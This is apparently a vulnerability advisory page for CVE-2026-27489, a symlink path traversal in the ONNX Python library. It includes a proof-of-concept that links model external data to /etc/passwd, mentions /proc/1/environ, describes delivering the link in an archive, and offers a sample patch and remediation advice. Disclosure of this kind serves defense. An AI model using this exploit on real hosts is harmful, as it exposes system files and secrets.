Python
CVE-2026-27489
HIGH
Severity by source
CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:H/VI:N/VA:N/SC:N/SI:N/SA:N/E:X/CR:X/IR:X/AR:X/MAV:X/MAC:X/MAT:X/MPR:X/MUI:X/MVC:X/MVI:X/MVA:X/MSC:X/MSI:X/MSA:X/S:X/AU:X/R:X/V:X/RE:X/U:X
AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N
Primary rating from Vendor (https://github.com/onnx/onnx).
CVSS VectorVendor: https://github.com/onnx/onnx
CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:H/VI:N/VA:N/SC:N/SI:N/SA:N/E:X/CR:X/IR:X/AR:X/MAV:X/MAC:X/MAT:X/MPR:X/MUI:X/MVC:X/MVI:X/MVA:X/MSC:X/MSI:X/MSA:X/S:X/AU:X/R:X/V:X/RE:X/U:X
Lifecycle Timeline
3Blast Radius
ecosystem impact- 17 pypi packages depend on onnx (9 direct, 8 indirect)
Ecosystem-wide dependent count for version 1.21.0.
DescriptionCVE.org
Summary
A path traversal vulnerability via symlink allows to read arbitrary files outside model or user-provided directory.
Details
The following check for symlink is ineffective and it is possible to point a symlink to an arbitrary location on the file system: https://github.com/onnx/onnx/blob/336652a4b2ab1e530ae02269efa7038082cef250/onnx/checker.cc#L1024-L1033
std::filesystem::is_regular_file performs a status(p) call on the provided path, which follows symbolic links to determine the file type, meaning it will return true if the target of a symlink is a regular file.
PoC
# Create a demo model with external data
import os
import numpy as np
import onnx
from onnx import helper, TensorProto, numpy_helper
def create_onnx_model(output_path="model.onnx"):
weight_matrix = np.random.randn(1000, 1000).astype(np.float32)
X = helper.make_tensor_value_info("X", TensorProto.FLOAT, [1, 1000])
Y = helper.make_tensor_value_info("Y", TensorProto.FLOAT, [1, 1000])
W = numpy_helper.from_array(weight_matrix, name="W")
matmul_node = helper.make_node("MatMul", inputs=["X", "W"], outputs=["Y"], name="matmul")
graph = helper.make_graph(
nodes=[matmul_node],
name="SimpleModel",
inputs=[X],
outputs=[Y],
initializer=[W]
)
model = helper.make_model(graph, opset_imports=[helper.make_opsetid("", 11)])
onnx.checker.check_model(model)
data_file = output_path.replace('.onnx', '.data')
if os.path.exists(output_path):
os.remove(output_path)
if os.path.exists(data_file):
os.remove(data_file)
onnx.save_model(
model,
output_path,
save_as_external_data=True,
all_tensors_to_one_file=True,
location=os.path.basename(data_file),
size_threshold=1024 * 1024
)
if __name__ == "__main__":
create_onnx_model("model.onnx")- Run the above code to generate a sample model with external data.
- Remove
model.data - Run
ln -s /etc/passwd model.data - Load the model using the following code
- Observe check for symlink is bypassed and model is succesfuly loaded
import onnx
from onnx.external_data_helper import load_external_data_for_model
def load_onnx_model_basic(model_path="model.onnx"):
model = onnx.load(model_path)
return model
def load_onnx_model_explicit(model_path="model.onnx"):
model = onnx.load(model_path, load_external_data=False)
load_external_data_for_model(model, ".")
return model
if __name__ == "__main__":
model = load_onnx_model_basic("model.onnx")
A common misuse case for successful exploitation is that an adversary can provide victim with a compressed file, containing poc.onnx and poc.data (symlink). Once the victim uncompress and load the model, symlink read the adversary selected arbitrary file.
Impact
Read sensitive and arbitrary files and environment variable (e.g. /proc/1/environ) from the host that loads the model.
NOTE: this issue is not limited to UNIX.
Sample patch
#include <fcntl.h>
#include <sys/stat.h>
#include <unistd.h>
#include <errno.h>
int open_external_file_no_symlink(const char *base_dir,
const char *relative_path) {
int dirfd = -1;
int fd = -1;
struct stat st;
// Open base directory
dirfd = open(base_dir, O_RDONLY | O_DIRECTORY);
if (dirfd < 0) {
return -1;
}
// Open the target relative to base_dir
// O_NOFOLLOW => fail if final path component is a symlink
fd = openat(dirfd,
relative_path,
O_RDONLY | O_NOFOLLOW);
close(dirfd);
if (fd < 0) {
// ELOOP is the typical error if a symlink is encountered
return -1;
}
// Inspect the *opened file*
if (fstat(fd, &st) != 0) {
close(fd);
return -1;
}
// Enforce "regular file only"
if (!S_ISREG(st.st_mode)) {
close(fd);
errno = EINVAL;
return -1;
}
// fd is now:
// - not a symlink
// - not a directory
// - not a device / FIFO / socket
// - race-safe
return fd;
}Resources
- https://cwe.mitre.org/data/definitions/61.html
- https://discuss.secdim.com/t/input-validation-necessary-but-not-sufficient-it-doesnt-target-the-fundamental-issue/1172
- https://discuss.secdim.com/t/common-pitfalls-for-patching-path-traversal/3368
AnalysisAI
Symlink-based path traversal in ONNX Python library allows local attackers to read arbitrary files on the host system when loading maliciously crafted ONNX models with external data. Affected users who load untrusted ONNX models from compressed archives or external sources may inadvertently expose sensitive files (/etc/passwd, environment variables via /proc/1/environ, etc.). Publicly available exploit code exists with a detailed proof-of-concept demonstrating the vulnerability. No EPSS score or CISA KEV listing available at time of analysis, suggesting exploitation is not yet widespread.
Technical ContextAI
ONNX is a widely-used open neural network exchange format for interoperability between machine learning frameworks. The vulnerability exists in the external data loading mechanism (onnx/checker.cc lines 1024-1033) where ONNX models store large tensor weights in separate files referenced by the .onnx model file. The flawed implementation uses std::filesystem::is_regular_file which performs a status() call that follows symbolic links rather than examining the link itself. This maps to CWE-23 (Relative Path Traversal) where symlink handling bypasses intended access restrictions. When a model references external data (e.g., model.data), an attacker can replace this file with a symlink pointing to any readable file on the filesystem. The C++ standard library function follows the symlink, validates the target is a regular file, and proceeds to read its contents into the model structure. This affects the pkg:pip/onnx package across multiple platforms despite the POC using UNIX-specific symlinks, as the underlying C++ filesystem library behavior is cross-platform.
RemediationAI
Upstream fix available via GitHub advisory at github.com/onnx/onnx/security/advisories/GHSA-3r9x-f23j-gc73, though a released patched version number is not independently confirmed from the provided data. The reporter suggests implementing O_NOFOLLOW flag when opening external data files using openat() system calls with fstat() validation to prevent symlink traversal, as demonstrated in the sample patch code. Organizations should upgrade to the latest ONNX package version once released and monitor the GitHub advisory for version-specific remediation guidance. As an immediate workaround, validate ONNX model files before loading by inspecting external data references and verifying no symbolic links exist in the model directory using platform-appropriate checks (lstat on UNIX, file attributes on Windows). Implement principle of least privilege by running model loading processes with restricted filesystem permissions. Never load ONNX models from untrusted sources without prior inspection, and extract model archives in isolated directories with read-only mounts where possible.
Wazuh SIEM platform versions 4.4.0 through 4.9.0 contain an unsafe deserialization vulnerability in the DistributedAPI t
BentoML version 1.4.2 and earlier contains an unauthenticated remote code execution vulnerability through insecure deser
pgAdmin 4 contains critical remote code execution vulnerabilities in the Query Tool download and Cloud Deployment endpoi
The renderLocalView function in render/views.py in graphite-web in Graphite 0.9.5 through 0.9.10 uses the pickle Python
BentoML is a Python library for building online serving systems optimized for AI apps and model inference. Rated critica
OpenSSL before 0.9.8za, 1.0.0 before 1.0.0m, and 1.0.1 before 1.0.1h does not properly restrict processing of ChangeCiph
pyLoad download manager version prior to 0.5.0b3.dev77 exposes the Flask SECRET_KEY through an unauthenticated endpoint.
In Mercurial before 4.1.3, "hg serve --stdio" allows remote authenticated users to launch the Python debugger, and conse
Unauthenticated remote code execution in Marimo ≤0.20.4 allows attackers to execute arbitrary system commands via the `/
pyLoad is the free and open-source Download Manager written in pure Python. Rated medium severity (CVSS 5.3), this vulne
Langflow (a visual LLM pipeline builder) contains a critical unauthenticated code execution vulnerability (CVE-2026-3301
Cross-user flow execution in Langflow (< 1.9.1) lets any authenticated API-key holder run another user's flow by passing
Same weakness CWE-23 – Relative Path Traversal
View allSame technique Path Traversal
View allVendor StatusVendor
SUSE
Severity: HighShare
External POC / Exploit Code
Leaving vuln.today
GHSA-3r9x-f23j-gc73